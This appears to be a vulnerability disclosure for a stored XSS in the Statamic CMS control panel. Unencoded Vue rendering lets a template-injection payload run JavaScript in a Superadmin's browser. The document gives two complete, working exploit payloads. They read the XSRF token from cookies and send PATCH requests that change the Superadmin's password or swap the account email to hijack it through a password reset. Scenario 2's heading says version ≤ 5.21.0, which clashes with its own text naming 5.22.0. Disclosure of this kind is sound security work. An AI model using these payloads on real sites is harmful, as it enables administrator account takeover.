TL;DR
Weaponizing a stored XSS in the Statamic control panel into full Superadmin takeover. Admin-editable fields are rendered by Vue without v-pre or output encoding, so a {{constructor.constructor(...)}} payload executes JavaScript in a Superadmin’s session. Two proof-of-concept chains are shown — a silent password change on versions ≤5.21.0, and an email swap on 5.22.0 (after password changes were hardened) to hijack the account via password reset.
A stored XSS vector (payload: {{this.constructor.constructor('alert(document.cookie)')()}}) in admin-editable fields - caused by no input sanitization / no output encoding and missing Vue v-pre protections - was chained into a privilege-escalation path that yields complete Superadmin account takeover. This is a high-impact, realistic attack path: stored JS can be executed in an admin’s browser and used to perform sensitive actions (modify accounts, change emails/passwords, create admin users, or abuse admin-only APIs).
PoC
Scenario 1: Superadmin Password Change (Version ≤ 5.21.0)
In versions prior to the latest update, the CMS’s password change mechanism did not require the current password. This allows an attacker to execute a stored XSS payload that automatically changes the Superadmin’s password. The attack can be triggered by the Superadmin merely visiting a compromised Collection or Taxonomy or clicking on a malicious link.
Exploit Code:
{{constructor.constructor("(function(){function getXsrfToken(){var token=decodeURIComponent(document.cookie.match(/XSRF-TOKEN=([^;]+)/)[1]);return token.endsWith('%3D')?token.replace(/%3D$/, '='):token;}var req=new XMLHttpRequest();req.onload=function(){var changeReq=new XMLHttpRequest();changeReq.open('PATCH','http://0.0.0.0/cp/users/<Superadmin's UUID>/password',true);changeReq.setRequestHeader('Content-Type','application/json');changeReq.setRequestHeader('X-Requested-With','XMLHttpRequest');changeReq.setRequestHeader('X-XSRF-TOKEN',getXsrfToken());changeReq.send(JSON.stringify({current_password:null,password:'987654321',password_confirmation:'987654321'}));};req.open('GET','/cp/users/<Superadmin's UUID>/edit',true);req.send();})()")()}}Scenario 2: Superadmin Email Address Change (Version ≤ 5.21.0)
In the latest version (5.22.0), the password change mechanism was hardened by requiring the current password. However, the stored XSS vulnerability still allows an attacker to change the email address associated with the Superadmin account. By altering the email address, the attacker can initiate a password reset process, gaining control over the account.
Exploit Code:
{{constructor.constructor("(function(){function getXsrfToken(){var token=decodeURIComponent(document.cookie.match(/XSRF-TOKEN=([^;]+)/)[1]);return token.endsWith('%3D')?token.replace(/%3D$/, '='):token;}var req=new XMLHttpRequest();req.onload=function(){var changeReq=new XMLHttpRequest();changeReq.open('PATCH','http://0.0.0.0/cp/users/<Superadmin's UUID>',true);changeReq.setRequestHeader('Content-Type','application/json');changeReq.setRequestHeader('X-Requested-With','XMLHttpRequest');changeReq.setRequestHeader('X-XSRF-TOKEN',getXsrfToken());changeReq.send(JSON.stringify({name:'wojt',email:'wojtek@wojtek.com',roles:[],groups:[],id:'9f4d7960-bf66-4af4-8c30-b09eb24e06ea'}));};req.open('GET','/cp/users/<Superadmin's UUID>/edit',true);req.send();})()")()}}